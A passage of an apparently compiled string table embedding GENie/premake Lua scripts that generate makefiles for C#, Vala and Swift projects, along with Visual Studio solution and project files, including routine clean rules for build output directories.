%%,/resource:%%,$(EMBEDFILES))')\n_p('\\t$(POSTBUILDCMDS)')\n_p('')\n_p('$(TARGETDIR):')\npremake.make_mkdirrule(\"$(TARGETDIR)\")\n_p('$(OBJDIR):')\npremake.make_mkdirrule(\"$(OBJDIR)\")\n_p('clean:')\n_p('\\t@echo Cleaning %s', prj.name)\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET) $(COPYFILES)')\n_p('\\t$(SILENT) rm -rf $(OBJDIR)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGETDIR)/%s.*) del $(subst /,\\\\\\\\,$(TARGETDIR)/%s.*)', prj.buildtarget.basename, prj.buildtarget.basename)\nfor target, source in pairs(cfgpairs[anycfg]) do\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,%s) del $(subst /,\\\\\\\\,%s)', target, target)\nend\nfor target, source in pairs(copypairs) do\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,%s) del $(subst /,\\\\\\\\,%s)', target, target)\nend\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(OBJDIR)) rmdir /s /q $(subst /,\\\\\\\\,$(OBJDIR))')\n_p('endif')\n_p('')\n_p('prebuild:')\n_p('\\t$(PREBUILDCMDS)')\n_p('')\n_p('prelink:')\n_p('\\t$(PRELINKCMDS)')\n_p('')\n_p('# Per-configuration copied file rules')\nfor cfg in premake.eachconfig(prj) do\n_p('ifneq (,$(findstring %s,$(config)))', _MAKE.esc(cfg.name:lower()))\nfor target, source in pairs(cfgpairs[cfg]) do\npremake.make_copyrule(source, target)\nend\n_p('endif')\n_p('')\nend\n_p('# Copied file rules')\nfor target, source in pairs(copypairs) do\npremake.make_copyrule(source, target)\nend\n_p('# Embedded file rules')\nfor _, fname in ipairs(embedded) do\nif path.getextension(fname) == \".resx\" then\n_p('%s: %s', getresourcefilename(prj, fname), _MAKE.esc(fname))\n_p('\\t$(SILENT) $(RESGEN) $^ $@')\nend\n_p('')\nend\nend\nfunction premake.gmake_cs_config(cfg, csc, cfglibs)\nlocal targetDir = _MAKE.esc(cfg.buildtarget.directory)\n_p('ifneq (,$(findstring %s,$(config)))', _MAKE.esc(cfg.name:lower()))\n_p(' TARGETDIR := %s', iif(targetDir == \"\", \".\", targetDir))\n_p(' OBJDIR := %s', _MAKE.esc(cfg.objectsdir))\n_p(' DEPENDS := %s', table.concat(_MAKE.esc(premake.getlinks(cfg, \"dependencies\", \"fullpath\")), \" \"))\n_p(' REFERENCES := %s', table.implode(_MAKE.esc(cfglibs[cfg]), \"/r:\", \"\", \" \"))\n_p(' FLAGS += %s %s', table.implode(cfg.defines, \"/d:\", \"\", \" \"), table.concat(table.join(csc.getflags(cfg), cfg.buildoptions), \" \"))\n_p(' define PREBUILDCMDS')\nif #cfg.prebuildcommands > 0 then\n_p('\\t@echo Running pre-build commands')\n_p('\\t%s', table.implode(cfg.prebuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define PRELINKCMDS')\nif #cfg.prelinkcommands > 0 then\n_p('\\t@echo Running pre-link commands')\n_p('\\t%s', table.implode(cfg.prelinkcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define POSTBUILDCMDS')\nif #cfg.postbuildcommands > 0 then\n_p('\\t@echo Running post-build commands')\n_p('\\t%s', table.implode(cfg.postbuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p('endif')\n_p('')\nend\n"
l_.str.37: ; @.str.37
.asciz "local make = premake.make\nfunction premake.make_vala(prj)\nlocal valac = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, valac.platforms, \"Native\")\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(prj.solution.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(' SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(' MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(' COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p(' RM = $(SILENT) rm -f \"$(1)\"')\n_p('else')\n_p(' MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p(' COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p(' RM = $(SILENT) del /F \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p('endif')\n_p('')\n_p('VALAC = %s', valac.valac)\n_p('CC = %s', valac.cc)\n_p('')\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\npremake.gmake_valac_config(prj, cfg, valac)\nend\nend\n_p('SOURCES := \\\\')\nfor _, file in ipairs(prj.files) do\nif path.issourcefile(file) then\nif not table.icontains(prj.excludes, file) then\n_p('\\t%s \\\\', _MAKE.esc(file))\nend\nend\nend\n_p('')\n_p('.PHONY: clean prebuild prelink')\n_p('')\n_p('all: prebuild prelink $(TARGET) | $(TARGETDIR)')\n_p('\\t@:')\n_p('')\n_p('$(TARGET): $(SOURCES) | $(TARGETDIR)')\n_p('\\t$(SILENT) $(VALAC) -o $(TARGET) --cc=$(CC) $(FLAGS) $(SOURCES)')\n_p('\\t$(POSTBUILDCMDS)')\n_p('')\n_p('$(TARGETDIR):')\npremake.make_mkdirrule(\"$(TARGETDIR)\")\n_p('clean:')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCleaningMessage\")) then\n_p('\\t@echo Cleaning %s', prj.name)\nend\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('endif')\n_p('')\n_p('prebuild:')\n_p('\\t$(PREBUILDCMDS)')\n_p('')\n_p('prelink:')\n_p('\\t$(PRELINKCMDS)')\n_p('')\nend\nfunction premake.gmake_valac_config(prj, cfg, valac)\n_p('ifeq ($(config),%s)', _MAKE.esc(cfg.shortname))\n_p(' TARGETDIR = %s', _MAKE.esc(cfg.buildtarget.directory))\n_p(' TARGET = $(TARGETDIR)/%s', _MAKE.esc(cfg.buildtarget.name))\n_p(' DEFINES +=%s', make.list(valac.getdefines(cfg.defines)))\n_p(' VAPIDIRS +=%s', make.list(valac.getvapidirs(cfg.vapidirs)))\n_p(' PKGS +=%s', make.list(valac.getlinks(cfg.links)))\n_p(' FLAGS += $(DEFINES) $(VAPIDIRS) $(PKGS)%s', make.list(table.join(valac.getvalaflags(cfg), valac.getbuildoptions(cfg.buildoptions), valac.getbuildoptions(cfg.buildoptions_c), cfg.buildoptions_vala)))\n_p(' define PREBUILDCMDS')\nif #cfg.prebuildcommands > 0 then\n_p('\\t@echo Running pre-build commands')\n_p('\\t%s', table.implode(cfg.prebuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define PRELINKCMDS')\nif #cfg.prelinkcommands > 0 then\n_p('\\t@echo Running pre-link commands')\n_p('\\t%s', table.implode(cfg.prelinkcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define POSTBUILDCMDS')\nif #cfg.postbuildcommands > 0 then\n_p('\\t@echo Running post-build commands')\n_p('\\t%s', table.implode(cfg.postbuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p('endif')\n_p('')\nend\n"
l_.str.38: ; @.str.38
.asciz "local make = premake.make\nlocal swift = { }\nfunction premake.make_swift(prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('ifndef config')\n_p(1, 'config=%s', _MAKE.esc(premake.getconfigname(prj.solution.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(1, 'SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(1, 'SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(1, 'SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(1, 'SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(1, 'MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(1, 'COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p(1, 'RM = $(SILENT) rm -f \"$(1)\"')\n_p('else')\n_p(1, 'MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p(1, 'COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p(1, 'RM = $(SILENT) del /F \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p('endif')\n_p('')\n_p('SWIFTC = %s', tool.swift)\n_p('SWIFTLINK = %s', tool.swiftc)\n_p('DSYMUTIL = %s', tool.dsymutil)\n_p('AR = %s', tool.ar)\n_p('')\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\nswift.generate_config(prj, cfg, tool)\nend\nend\n_p('.PHONY: ')\n_p('')\n_p('all: $(WORK_DIRS) $(TARGET)')\n_p('')\n_p('$(WORK_DIRS):')\n_p(1, '$(SILENT) $(call MKDIR,$@)')\n_p('')\n_p('SOURCES := \\\\')\nfor _, file in ipairs(prj.files) do\nif path.isswiftfile(file) then\n_p(1, '%s \\\\', _MAKE.esc(file))\nend\nend\n_p('')\nlocal objfiles = {}\n_p('OBJECTS_WITNESS := $(OBJDIR)/build.stamp')\n_p('OBJECTS := \\\\')\nfor _, file in ipairs(prj.files) do\nif path.isswiftfile(file) then\nlocal objname = _MAKE.esc(swift.objectname(file))\ntable.insert(objfiles, objname)\n_p(1, '%s \\\\', objname)\nend\nend\n_p('')\nswift.file_rules(prj, objfiles)\nswift.linker(prj, tool)\nswift.generate_clean(prj)\nend\nfunction swift.objectname(file)\nreturn path.join(\"$(OBJDIR)\", path.getname(file)..\".o\")\nend\nfunction swift.file_rules(prj, objfiles)\n_p('$(OBJECTS_WITNESS): $(SOURCES)')\n_p(1, \"@rm -f $(OBJDIR)/data.tmp\")\n_p(1, \"@touch $(OBJDIR)/data.tmp\")\n_p(1, \"$(SILENT) $(SWIFTC) -frontend -c $(SOURCES) -enable-objc-interop $(SDK) -I $(OUT_DIR) $(SWIFTC_FLAGS) -module-cache-path $(MODULECACHE_DIR) -D SWIFT_PACKAGE $(MODULE_MAPS) -emit-module-doc-path $(OUT_DIR)/$(MODULE_NAME).swiftdoc -module-name $(MODULE_NAME) -emit-module-path $(OUT_DIR)/$(MODULE_NAME).swiftmodule -num-threads 8 %s\", table.arglist(\"-o\", objfiles))\n_p(1, \"@mv -f $(OBJDIR)/data.tmp $(OBJECTS_WITNESS)\")\n_p('')\n_p('$(OBJECTS): $(OBJECTS_WITNESS)')\n_p(1, '@if test -f $@; then :; else \\\\')\n_p(2, 'rm -f $(OBJECTS_WITNESS); \\\\')\n_p(2, '$(MAKE) $(AM_MAKEFLAGS) $(OBJECTS_WITNESS); \\\\')\n_p(1, 'fi')\n_p('')\nend\nfunction swift.linker(prj, tool)\nlocal lddeps = make.list(premake.getlinks(prj, \"siblings\", \"fullpath\")) \nif prj.kind == \"StaticLib\" then\n_p(\"$(TARGET): $(OBJECTS) %s \", lddeps)\n_p(1, \"$(SILENT) $(AR) cr $(AR_FLAGS) $@ $(OBJECTS) %s\", (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\nelse\n_p(\"$(TARGET): $(OBJECTS) $(LDDEPS)\", lddeps)\n_p(1, \"$(SILENT) $(SWIFTLINK) $(SDK) -L $(OUT_DIR) -o $@ $(SWIFTLINK_FLAGS) $(LD_FLAGS) $(OBJECTS)\")\n_p(\"ifdef SYMBOLS\")\n_p(1, \"$(SILENT) $(DSYMUTIL) $(TARGET) -o $(SYMBOLS)\")\n_p(\"endif\")\nend\n_p('')\nend\nfunction swift.generate_clean(prj)\n_p('clean:')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCleaningMessage\")) then\n_p('\\t@echo Cleaning %s', prj.name)\nend\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('\\t$(SILENT) rm -rf $(OBJDIR)')\n_p('\\t$(SILENT) rm -rf $(SYMBOLS)')\n_p('\\t$(SILENT) rm -rf $(MODULECACHE_DIR)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(OBJDIR)) rmdir /s /q $(subst /,\\\\\\\\,$(OBJDIR))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(SYMBOLS)) rmdir /s /q $(subst /,\\\\\\\\,$(SYMBOLS))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(MODULECACHE_DIR)) rmdir /s /q $(subst /,\\\\\\\\,$(MODULECACHE_DIR))')\n_p('endif')\n_p('')\nend\nfunction swift.generate_config(prj, cfg, tool)\n_p('ifeq ($(config),%s)', _MAKE.esc(cfg.shortname))\n_p(1, \"OUT_DIR = %s\", cfg.buildtarget.directory)\n _p(1, \"MODULECACHE_DIR = $(OUT_DIR)/ModuleCache\")\n_p(1, \"TARGET = $(OUT_DIR)/%s\", _MAKE.esc(cfg.buildtarget.name))\nlocal objdir = path.join(cfg.objectsdir, prj.name .. \".build\")\n_p(1, \"OBJDIR = %s\", objdir)\n_p(1, \"MODULE_NAME = %s\", prj.name)\n_p(1, \"MODULE_MAPS = %s\", make.list(tool.getmodulemaps(cfg)))\n_p(1, \"SWIFTC_FLAGS = %s\", make.list(tool.getswiftcflags(cfg)))\n_p(1, \"SWIFTLINK_FLAGS = %s\", make.list(tool.getswiftlinkflags(cfg)))\n_p(1, \"AR_FLAGS = %s\", make.list(tool.getarchiveflags(cfg, cfg, false)))\n_p(1, \"LD_FLAGS = %s\", make.list(tool.getldflags(cfg)))\n_p(1, \"LDDEPS = %s\", make.list(premake.getlinks(cfg, \"siblings\", \"fullpath\")))\nif cfg.flags.Symbols then\n_p(1, \"SYMBOLS = $(TARGET).dSYM\")\nend\nlocal sdk = tool.get_sdk_path(cfg)\nif sdk then\n_p(1, \"TOOLCHAIN_PATH = %s\", tool.get_toolchain_path(cfg))\n_p(1, \"SDK_PATH = %s\", sdk)\n_p(1, \"PLATFORM_PATH = %s\", tool.get_sdk_platform_path(cfg))\n_p(1, \"SDK = -sdk $(SDK_PATH)\")\nelse\n_p(1, \"SDK_PATH =\")\n_p(1, \"SDK =\")\nend\n_p(1,'WORK_DIRS = $(OUT_DIR) $(OBJDIR)')\n_p('endif')\n_p('')\nend"
l_.str.39: ; @.str.39
.asciz "premake.vstudio = { }\nlocal toolsets = {\nvs2010 = \"v100\",\nvs2012 = \"v110\",\nvs2013 = \"v120\",\nvs2015 = \"v140\",\nvs2017 = \"v141\",\nvs2019 = \"v142\",\n}\npremake.vstudio.toolset = toolsets[_ACTION] or \"unknown?\"\npremake.vstudio.splashpath = ''\npremake.vstudio.xpwarning = true\nlocal vstudio = premake.vstudio\nvstudio.platforms = {\nany = \"Any CPU\",\nmixed = \"Mixed Platforms\",\nNative = \"Win32\",\nx86 = \"x86\",\nx32 = \"Win32\",\nx64 = \"x64\",\nPS3 = \"PS3\",\nXbox360 = \"Xbox 360\",\nARM = \"ARM\",\nOrbis = \"ORBIS\",\nDurango = \"Durango\",\nTegraAndroid = \"Tegra-Android\",\nNX32 = \"NX32\",\nNX64 = \"NX64\",\nEmscripten = \"Emscripten\",\n}\nfunction vstudio.arch(prj)\nif (prj.language == \"C#\") then\nreturn \"Any CPU\"\nelse\nreturn \"Win32\"\nend\nend\nfunction vstudio.iswinrt()\nreturn vstudio.storeapp ~= nil and vstudio.storeapp ~= ''\nend\nfunction vstudio.buildconfigs(sln)\nlocal cfgs = { }\nlocal platforms = premake.filterplatforms(sln, vstudio.platforms, \"Native\")\nlocal hascpp = premake.hascppproject(sln)\nlocal hasdotnet = premake.hasdotnetproject(sln)\nif hasdotnet and (_ACTION > \"vs2008\" or hascpp) then\ntable.insert(platforms, 1, \"mixed\")\nend\nif hasdotnet and (_ACTION < \"vs2010\" or not hascpp) then\ntable.insert(platforms, 1, \"any\")\nend\nif _ACTION > \"vs2008\" then\nlocal platforms2010 = { }\nfor _, platform in ipairs(platforms) do\nif vstudio.platforms[platform] == \"Win32\" then\nif hascpp then\ntable.insert(platforms2010, platform)\nend\nif hasdotnet then\ntable.insert(platforms2010, \"x86\")\nend\nelse\ntable.insert(platforms2010, platform)\nend\nend\nplatforms = platforms2010\nend\nfor _, buildcfg in ipairs(sln.configurations) do\nfor _, platform in ipairs(platforms) do\nlocal entry = { }\nentry.src_buildcfg = buildcfg\nentry.src_platform = platform\nif platform ~= \"PS3\" or _ACTION > \"vs2008\" then\nentry.buildcfg = buildcfg\nentry.platform = vstudio.platforms[platform]\nelse\nentry.buildcfg = platform .. \" \" .. buildcfg\nentry.platform = \"Win32\"\nend\nentry.name = entry.buildcfg .. \"|\" .. entry.platform\nentry.isreal = (platform ~= \"any\" and platform ~= \"mixed\")\ntable.insert(cfgs, entry)\nend\nend\nreturn cfgs\nend\nfunction premake.vstudio.bakeimports(sln)\nfor _,iprj in ipairs(sln.importedprojects) do\nif string.find(iprj.location, \".csproj\") ~= nil then\niprj.language = \"C#\"\nelse\niprj.language = \"C++\"\nend\nlocal f, err = io.open(iprj.location, \"r\")\nif (not f) then\nerror(err, 1)\nend\nlocal projcontents = f:read(\"*all\")\nf:close()\nlocal found, _, uuid = string.find(projcontents, \"<ProjectGuid>{([%w%-]+)}</ProjectGuid>\")\nif not found then\nerror(\"Could not find ProjectGuid element in project \" .. iprj.location, 1)\nend\niprj.uuid = uuid\nif iprj.language == \"C++\" and string.find(projcontents, \"<CLRSupport>true</CLRSupport>\") then\niprj.flags.Managed = true\nend\niprj.relpath = path.getrelative(sln.location, iprj.location)\nend\nend\nfunction premake.vstudio.getimportprj(prjpath, sln)\nfor _,iprj in ipairs(sln.importedprojects) do\nif prjpath == iprj.relpath then\nreturn iprj\nend\nend\nerror(\"Could not find reference import project \" .. prjpath, 1)\nend\nfunction vstudio.cleansolution(sln)\npremake.clean.file(sln, \"%%.sln\")\npremake.clean.file(sln, \"%%.suo\")\npremake.clean.file(sln, \"%%.ncb\")\npremake.clean.file(sln, \"%%.userprefs\")\npremake.clean.file(sln, \"%%.usertasks\")\nend\nfunction vstudio.cleanproject(prj)\nlocal fname = premake.project.getfilename(prj, \"%%\")\nos.remove(fname .. \".vcproj\")\nos.remove(fname .. \".vcproj.user\")\nos.remove(fname .. \".vcxproj\")\nos.remove(fname .. \".vcxproj.user\")\nos.remove(fname .. \".vcxproj.filters\")\nos.remove(fname .. \".csproj\")\nos.remove(fname .. \".csproj.user\")\nos.remove(fname .. \".pidb\")\nos.remove(fname .. \".sdf\")\nend\nfunction vstudio.cleantarget(name)\nos.remove(name .. \".pdb\")\nos.remove(name .. \".idb\")\nos.remove(name .. \".ilk\")\nos.remove(name .. \".vshost.exe\")\nos.remove(name .. \".exe.manifest\")\nend\nfunction vstudio.projectfile(prj)\nlocal pattern\nif prj.language == \"C#\" then\npattern = \"%%.csproj\"\nelse\npattern = iif(_ACTION > \"vs2008\", \"%%.vcxproj\", \"%%.vcproj\")\nend\nlocal fname = premake.project.getbasename(prj.name, pattern)\nfname = path.join(prj.location, fname)\nreturn fname\nend\nfunction vstudio.tool(prj)\nif (prj.language == \"C#\") then\nreturn \"FAE04EC0-301F-11D3-BF4B-00C04F79EFBC\"\nelse\nreturn \"8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942\"\nend\nend\n"
l_.str.40: ; @.str.40
.asciz "premake.vstudio.sln2005 = { }\nlocal vstudio = premake.vstudio\nlocal sln2005 = premake.vstudio.sln2005\nfunction sln2005.generate(sln)\nio.eol = '\\r\\n'\nsln.vstudio_configs = premake.vstudio.buildconfigs(sln)\npremake.vstudio.bakeimports(sln)\n_p('\\239\\187\\191')\nsln2005.reorderProjects(sln)\nsln2005.header(sln)\nfor grp in premake.solution.eachgroup(sln) do\nsln2005.group(grp)\nend\nfor prj in premake.solution.eachproject(sln) do\nsln2005.project(prj)\nend\n \nfor _,iprj in ipairs(sln.importedprojects) do\nsln2005.importproject(iprj)\nend\n_p('Global')\nsln2005.platforms(sln)\nsln2005.project_platforms(sln)\nsln2005.properties(sln)\nsln2005.project_groups(sln)\n_p('EndGlobal')\nend\nfunction sln2005.reorderProjects(sln)\nif sln.startproject then\nfor i, prj in ipairs(sln.projects) do\nif sln.startproject == prj.name then\nlocal cur = prj.group\nwhile cur ~= nil do\nfor j, group in ipairs(sln.groups) do\nif group == cur then\ntable.remove(sln.groups, j)\nbreak\nend\nend\ntable.insert(sln.groups, 1, cur)\ncur = cur.parent\nend\ntable.remove(sln.projects, i)\ntable.insert(sln.projects, 1, prj)\nbreak\nend\nend\nend\nend\nfunction sln2005.header(sln)\nlocal action = premake.action.current()\n_p('Microsoft Visual Studio Solution File, Format Version %d.00', action.vstudio.solutionVersion)\nif(_ACTION:sub(3) == \"2015\" or _ACTION:sub(3) == \"2017\") then\n_p('# Visual Studio %s', action.vstudio.toolsVersion:sub(1,2))\nelse\n_p('# Visual Studio %s', _ACTION:sub(3))\nend\nend\nfunction sln2005.project(prj)\nlocal projpath = path.translate(path.getrelative(prj.solution.location, vstudio.projectfile(prj)), \"\\\\\")\n_p('Project(\"{%s}\") = \"%s\", \"%s\", \"{%s}\"', vstudio.tool(prj), prj.name, projpath, prj.uuid)\nsln2005.projectdependencies(prj)\n_p('EndProject')\nend\nfunction sln2005.group(grp)\n_p('Project(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"%s\", \"%s\", \"{%s}\"', grp.name, grp.name, grp.uuid)\n_p('EndProject')\nend\n \nfunction sln2005.importproject(iprj)\n_p('Project(\"{%s}\") = \"%s\", \"%s\", \"{%s}\"', vstudio.tool(iprj), path.getbasename(iprj.location), iprj.relpath, iprj.uuid)\n_p('EndProject')\nend\nfunction sln2005.projectdependencies(prj)\nlocal deps = premake.getdependencies(prj)\nif #deps > 0 then\nlocal function compareuuid(a, b) return a.uuid < b.uuid end\ntable.sort(deps, compareuuid)\n_p('\\tProjectSection(ProjectDependencies) = postProject')\nfor _, dep in ipairs(deps) do\n_p('\\t\\t{%s} = {%s}', dep.uuid, dep.uuid)\nend\n_p('\\tEndProjectSection')\nend\nend\nfunction sln2005.platforms(sln)\n_p('\\tGlobalSection(SolutionConfigurationPlatforms) = preSolution')\nfor _, cfg in ipairs(sln.vstudio_configs) do\n_p('\\t\\t%s = %s', cfg.name, cfg.name)\nend\n_p('\\tEndGlobalSection')\nend\nfunction sln2005.project_platform(prj, sln)\nfor _, cfg in ipairs(sln.vstudio_configs) do\nlocal mapped\nlocal buildfor\nif premake.isdotnetproject(prj) then\nbuildfor = \"x64\"\nmapped = \"Any CPU\"\nelseif prj.flags and prj.flags.Managed then\nmapped = \"x64\"\nelse\nif cfg.platform == \"Any CPU\" or cfg.platform == \"Mixed Platforms\" then\nmapped = sln.vstudio_configs[3].platform\nelse\nmapped = cfg.platform\nend\nend\nlocal build_project = true\nif prj.solution ~= nil then\n build_project = premake.getconfig(prj, cfg.src_buildcfg, cfg.src_platform).build\nend\n_p('\\t\\t{%s}.%s.ActiveCfg = %s|%s', prj.uuid, cfg.name, cfg.buildcfg, mapped)\nif build_project then\n if mapped == cfg.platform or cfg.platform == \"Mixed Platforms\" or buildfor == cfg.platform then\n _p('\\t\\t{%s}.%s.Build.0 = %s|%s', prj.uuid, cfg.name, cfg.buildcfg, mapped)\n end\n if premake.vstudio.iswinrt() and prj.kind == \"WindowedApp\" then\n _p('\\t\\t{%s}.%s.Deploy.0 = %s|%s', prj.uuid, cfg.name, cfg.buildcfg, mapped)\n end\nend\nend\nend\nfunction sln2005.project_platforms(sln)\n_p('\\tGlobalSection(ProjectConfigurationPlatforms) = postSolution')\nfor prj in premake.solution.eachproject(sln) do\nsln2005.project_platform(prj, sln)\nend\nfor _,iprj in ipairs(sln.importedprojects) do\nsln2005.project_platform(iprj, sln)\nend\n_p('\\tEndGlobalSection')\nend\nfunction sln2005.properties(sln)\n_p('\\tGlobalSection(SolutionProperties) = preSolution')\n_p('\\t\\tHideSolutionNode = FALSE')\n_p('\\tEndGlobalSection')\nend\nfunction sln2005.project_groups(sln)\n_p('\\tGlobalSection(NestedProjects) = preSolution')\nfor grp in premake.solution.eachgroup(sln) do\nif grp.parent ~= nil then\n_p('\\t\\t{%s} = {%s}', grp.uuid, grp.parent.uuid)\nend\nend\nfor prj in premake.solution.eachproject(sln) do\nif prj.group ~= nil then\n_p('\\t\\t{%s} = {%s}', prj.uuid, prj.group.uuid)\nend\nend\nfor _,iprj in ipairs(sln.importedprojects) do\nif iprj.group ~= nil then\n_p('\\t\\t{%s} = {%s}', iprj.uuid, iprj.group.uuid)\nend\nend\n \n_p('\\tEndGlobalSection')\nend"
l_.str.41: ; @.str.41
.asciz "premake.vstudio.vc2010 = { }\nlocal vc2010 = premake.vstudio.vc2010\nlocal vstudio = premake.vstudio\nlocal function vs2010_config(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nif cfginfo.src_platform == \"TegraAndroid\" then\n_p(1,'<PropertyGroup Label=\"NsightTegraProject\">')\n_p(2,'<NsightTegraProjectRevisionNumber>11</NsightTegraProjectRevisionNumber>')\n_p(1,'</PropertyGroup>')\nbreak\nend\nend\n_p(1,'<ItemGroup Label=\"ProjectConfigurations\">')\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\n_p(2,'<ProjectConfiguration Include=\"%s\">', premake.esc(cfginfo.name))\n_p(3,'<Configuration>%s</Configuration>',cfginfo.buildcfg)\n_p(3,'<Platform>%s</Platform>',cfginfo.platform)\n_p(2,'</ProjectConfiguration>')\nend\n_p(1,'</ItemGroup>')\nend\nlocal function vs2010_globals(prj)\nlocal action = premake.action.current()\n_p(1,'<PropertyGroup Label=\"Globals\">')\n_p(2, '<ProjectGuid>{%s}</ProjectGuid>',prj.uuid)\n_p(2, '<RootNamespace>%s</RootNamespace>',prj.name)\nif vstudio.storeapp ~= \"durango\" then\nlocal windowsTargetPlatformVersion = prj.windowstargetplatformversion or action.vstudio.windowsTargetPlatformVersion\nif windowsTargetPlatformVersion ~= nil then\n_p(2,'<WindowsTargetPlatformVersion>%s</WindowsTargetPlatformVersion>',windowsTargetPlatformVersion)\nif windowsTargetPlatformVersion and string.startswith(windowsTargetPlatformVersion, \"10.\") then\n_p(2,'<WindowsTargetPlatformMinVersion>%s</WindowsTargetPlatformMinVersion>', prj.windowstargetplatformminversion or \"10.0.10240.0\")\nend\nend\nend\nif prj.flags and prj.flags.Managed then\nlocal frameworkVersion = prj.framework or \"4.0\"\n_p(2, '<TargetFrameworkVersion>v%s</TargetFrameworkVersion>', frameworkVersion)\n_p(2, '<Keyword>ManagedCProj</Keyword>')\nelseif vstudio.iswinrt() then\n_p(2, '<DefaultLanguage>en-US</DefaultLanguage>')\nif vstudio.storeapp == \"durango\" then\n_p(2, '<Keyword>Win32Proj</Keyword>')\n_p(2, '<ApplicationEnvironment>title</ApplicationEnvironment>')\n_p(2, '<MinimumVisualStudioVersion>14.0</MinimumVisualStudioVersion>')\n_p(2, '<TargetRuntime>Native</TargetRuntime>')\nelse\n_p(2, '<AppContainerApplication>true</AppContainerApplication>')\n_p(2, '<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>')\n_p(2, '<ApplicationType>Windows Store</ApplicationType>')\n_p(2, '<ApplicationTypeRevision>%s</ApplicationTypeRevision>', vstudio.storeapp)\nend\nelse\n_p(2, '<Keyword>Win32Proj</Keyword>')\nend\nif not vstudio.xpwarning then\n_p(2, '<XPDeprecationWarning>false</XPDeprecationWarning>')\nend\n_p(1,'</PropertyGroup>')\nend\nfunction vc2010.config_type(config)\nlocal t =\n{\nSharedLib = \"DynamicLibrary\",\nStaticLib = \"StaticLibrary\",\nConsoleApp = \"Application\",\nWindowedApp = \"Application\"\n}\nreturn t[config.kind]\nend\nlocal function if_config_and_platform()\nreturn 'Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'%s\\'\"'\nend\nlocal function optimisation(cfg)\nlocal result = \"Disabled\"\nfor _, value in ipairs(cfg.flags) do\nif (value == \"Optimize\") then\nresult = \"Full\"\nelseif (value == \"OptimizeSize\") then\nresult = \"MinSpace\"\nelseif (value == \"OptimizeSpeed\") then\nresult = \"MaxSpeed\"\nend\nend\nreturn result\nend\nfunction 